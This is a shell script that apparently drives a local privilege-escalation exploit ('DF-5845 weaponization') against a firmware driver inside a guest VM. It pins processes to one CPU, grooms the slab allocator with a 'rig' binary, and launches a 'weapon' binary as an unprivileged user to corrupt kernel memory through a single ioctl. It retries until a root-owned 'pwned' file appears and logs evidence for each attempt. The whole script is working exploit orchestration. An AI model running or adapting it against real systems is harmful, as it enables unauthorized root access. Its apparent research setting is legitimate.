#!/bin/sh
# attack5845.sh -- one DF-5845 weaponization attempt (guest, root driver).
# Everything is pinned to CPU 0 (pinexec) so the rig's zone shaping and
# the weapon's fw_xfer allocations meet in the same per-CPU slab zone.
#
# usage: attack5845.sh [n_attempts]
set -x
cd /root/fw5845
sh /root/fw5845/symbols5845.sh > /dev/null 2>&1 || { echo SYMBOLS_FAIL; exit 1; }
mkdir -p /tmp/df5845bin
install -m 755 df5845 df5845rig pinexec /tmp/df5845bin/
N=${1:-5}
LOG=/root/fw5845/attack.out
: > $LOG

attempt=0
while [ $attempt -lt $N ]; do
	attempt=$((attempt + 1))
	rm -f /tmp/df5845.ready /tmp/df5845.shape /tmp/df5845.win \
	    /tmp/df5845.k /tmp/df5845.attack.log /tmp/df5845.weapon.log \
	    /root/df5845.pwned
	dmesg -c >/dev/null

	# -1. reset: clear the canary list (spray cap is 512)
	/tmp/df5845bin/pinexec 0 /tmp/df5845bin/df5845rig reset >> $LOG 2>&1
	# 0. warm: consume pend seq 0 with a rig-side stock ioctl
	/tmp/df5845bin/pinexec 0 /tmp/df5845bin/df5845rig warm >> $LOG 2>&1
	# 1. shape: contiguous V/S/C3 canary run, LIFO pair freed
	/tmp/df5845bin/pinexec 0 /tmp/df5845bin/df5845rig shape >> $LOG 2>&1 || { echo SHAPE_FAIL | tee -a $LOG; continue; }
	V=$(awk '{print $1}' /tmp/df5845.shape)
	echo "=== attempt $attempt S_PRED=$V ===" | tee -a $LOG

	# 3. attack watcher (the "peer") in the background
	DF5845_NOSHELL=1 /tmp/df5845bin/pinexec 0 \
	    /tmp/df5845bin/df5845rig attack \
	    > /tmp/df5845.attack.log 2>&1 &
	( tail -f /tmp/df5845.attack.log > /dev/console 2>&1 & ) ; sleep 1
	RIGPID=$!

	# 4. the weapon: unprivileged opuser, same CPU (pin inherited
	#    through su), entire corruption via one stock ioctl
	DF5845_NOSHELL=1 /tmp/df5845bin/pinexec 0 su -m opuser -c \
	    "/tmp/df5845bin/df5845 $V" > /tmp/df5845.weapon.log 2>&1 &
	( tail -f /tmp/df5845.weapon.log > /dev/console 2>&1 & ) ; sleep 1
	WPID=$!

	sleep 14
	kill $RIGPID $WPID 2>/dev/null
	sleep 1

	{	echo "--- attack log ---"; cat /tmp/df5845.attack.log;
		echo "--- weapon log ---"; cat /tmp/df5845.weapon.log;
		echo "--- win files ---";
		cat /tmp/df5845.win 2>/dev/null;
		cat /root/df5845.pwned 2>/dev/null;
		echo "--- dmesg tail ---"; dmesg | tail -25;
	} >> $LOG 2>&1

	# persist per-attempt evidence (tmp is wiped on reboot)
	mkdir -p /root/fw5845/attempt$attempt
	cp /tmp/df5845.attack.log /tmp/df5845.weapon.log \
	    /tmp/df5845.win /tmp/df5845.shape /root/fw5845/attempt$attempt/ \
	    2>/dev/null
	dmesg > /root/fw5845/attempt$attempt/dmesg.txt

	if [ -f /root/df5845.pwned ]; then
		echo "=== WIN on attempt $attempt ===" | tee -a $LOG
		cp /root/df5845.pwned /root/fw5845/attempt$attempt/
		exit 0
	fi
done
echo "=== no win in $N attempts ===" | tee -a $LOG
exit 1
